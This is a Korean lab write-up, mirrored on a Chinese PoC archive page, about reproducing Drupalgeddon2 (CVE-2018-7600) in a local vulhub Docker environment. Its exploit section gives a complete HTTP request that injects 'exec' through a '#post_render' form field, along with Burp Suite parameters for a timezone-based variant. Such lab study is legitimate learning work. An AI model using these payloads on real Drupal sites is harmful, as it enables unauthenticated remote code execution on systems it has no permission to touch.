POC详情: 5987ab24bdad216c8c2801cb8648b906b1ade4a4

来源
关联漏洞
标题: Drupal 安全漏洞 (CVE-2018-7600)
描述:Drupal是Drupal社区所维护的一套用PHP语言开发的免费、开源的内容管理系统。 Drupal中带有默认或通用模块配置的多个子系统存在安全漏洞。远程攻击者可利用该漏洞执行任意代码。以下版本受到影响:Drupal 7.58之前版本,8.3.9之前的8.x版本,8.4.6之前的8.4.x版本,8.5.1之前的8.5.x版本。
介绍
# README

## **Drupal Drupalgeddon 2 인증되지 않은 원격 코드 실행
(CVE-2018-7600)**

---

Drupal 7.58 이전 버전, 8.3.9 이전의 8.x 버전, 8.4.6 이전의 8.4.x 버전, 8.5.1 이전의 8.5.x 버전은 Form API를 포함한 기본 또는 공통 모듈 구성을 사용하는 여러 하위 시스템에 영향을 미치는 문제로 인해 원격 공격자가 임의 코드를 실행할 수 있도록 허용한다.

참고문헌:

- [https://www.drupal.org/sa-core-2018-002](https://www.drupal.org/sa-core-2018-002)
- [https://research.checkpoint.com/uncovering-drupalgeddon-2/](https://research.checkpoint.com/uncovering-drupalgeddon-2/)

## **Vulnerable environment**

---

![image.png](image.png)

우선 다음 화면과 같이 해당 vulhub의 내용을 Fork해온다.

![image.png](image%201.png)

이후 해당 폴더를 ZIP파일로 다운로드 하여 가져 오고 

![image.png](image%202.png)

drupal(CVE-2018-7600)과 관련된 내용들을 압축 해제 하여 내 래포지토리에 업로드

![image.png](image%203.png)

이제 해당 래포지토리를 통해 도커에 해당 환경을 구성해 보자

![image.png](image%204.png)

다음과 같이 내 래포짓을 git clone 명령을 통해 가져오고 docker-compose.yml 파일이 존재하는 폴더 내부로 cd 명령어를 통해 이동한다.

이후 다음과 같은 명령어로 백그라운드로 도커를 실행시킨다

```bash
docker-compose up -d
```

다음과 같이 실행이 되는 모습을 확인할 수 있음

![image.png](image%205.png)

[http://localhost:8080](http://localhost:8080/) 주소로 이동하여 Drupal 홈페이지로 이동해 봄

![image.png](image%206.png)

다음과 같이 Drupal 환경 구성을 하는 화면이 뜨면서 Drupal 홈페이지 화면이 나옴.

Exploit을 해보기 위해 다음과 같이 간단하게 셋팅해줌

![image.png](image%207.png)

그럼 다음과 같이 로드가 됨.

![image.png](image%208.png)

이후 추가적인 사이트 설정을 더 입력해줌 (Exploit을 위한 빠른 설정을 하기 위해 test로 설정)

![image.png](image%209.png)

![image.png](image%2010.png)

![image.png](image%2011.png)

다음과 같이 최종적으로 Drupal 사이트 셋팅 까지 마친 모습임

![image.png](image%2012.png)

## Exploit

---

[a2u/CVE-2018-7600을](https://github.com/a2u/CVE-2018-7600/blob/master/exploit.py) 참조하여 다음 요청을 drupal에 보낼 수 있다.

```bash
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
```

**CVE-2018-7600**(Drupalgeddon2)은**/user/register**를 통해 AJAX를 이용해 폼 필드 조작하는

**비인증 공격**을 시도하는 취약점이므로 Brup Suite를 통해 패킷을 변조해 볼 수도 있다.

우선 Brup Suite의 프록시 사이트를 통해 가입하기로 들어가 아무 값이나 입력 한 후 패킷을 캡쳐함

![image.png](image%2013.png)

버프 수트를 이용하여 해당 패킷을 조작한다

![image.png](image%2014.png)

해당 패킷을 Repeater로 보내서 맨 아래에 다음과 같은 코드를 추가 함

```
element_parents = timezone/timezone/#value
ajax_form = 1
_wrapper_format = drupal_ajax
timezone[timezone] = id
```

이후 Send를 보내면 다음과 같이 OK명령이 나오는 모습을 확인할 수 있음.

![image.png](image%2015.png)

실제로 더 악의적인 요청을 하기 위해서 CVE-2018-7600(Drupalgeddon2) 공격은
Drupal 설치 직후 (Drupal 설치 마법사 끝나기 전에) 공격을 보내는 것이 더 확실함.
文件快照

[4.0K] /data/pocs/5987ab24bdad216c8c2801cb8648b906b1ade4a4 ├── [4.0K] drupal │   └── [4.0K] CVE-2018-7600 │   ├── [ 19K] 1.png │   ├── [ 72] docker-compose.yml │   ├── [1.6K] README.md │   └── [1.5K] README.zh-cn.md ├── [ 43K] image 10.png ├── [ 21K] image 11.png ├── [ 98K] image 12.png ├── [ 39K] image 13.png ├── [192K] image 14.png ├── [291K] image 15.png ├── [ 15K] image 1.png ├── [ 18K] image 2.png ├── [ 47K] image 3.png ├── [ 56K] image 4.png ├── [110K] image 5.png ├── [420K] image 6.png ├── [ 53K] image 7.png ├── [ 31K] image 8.png ├── [ 60K] image 9.png ├── [143K] image.png └── [3.9K] README.md 2 directories, 21 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。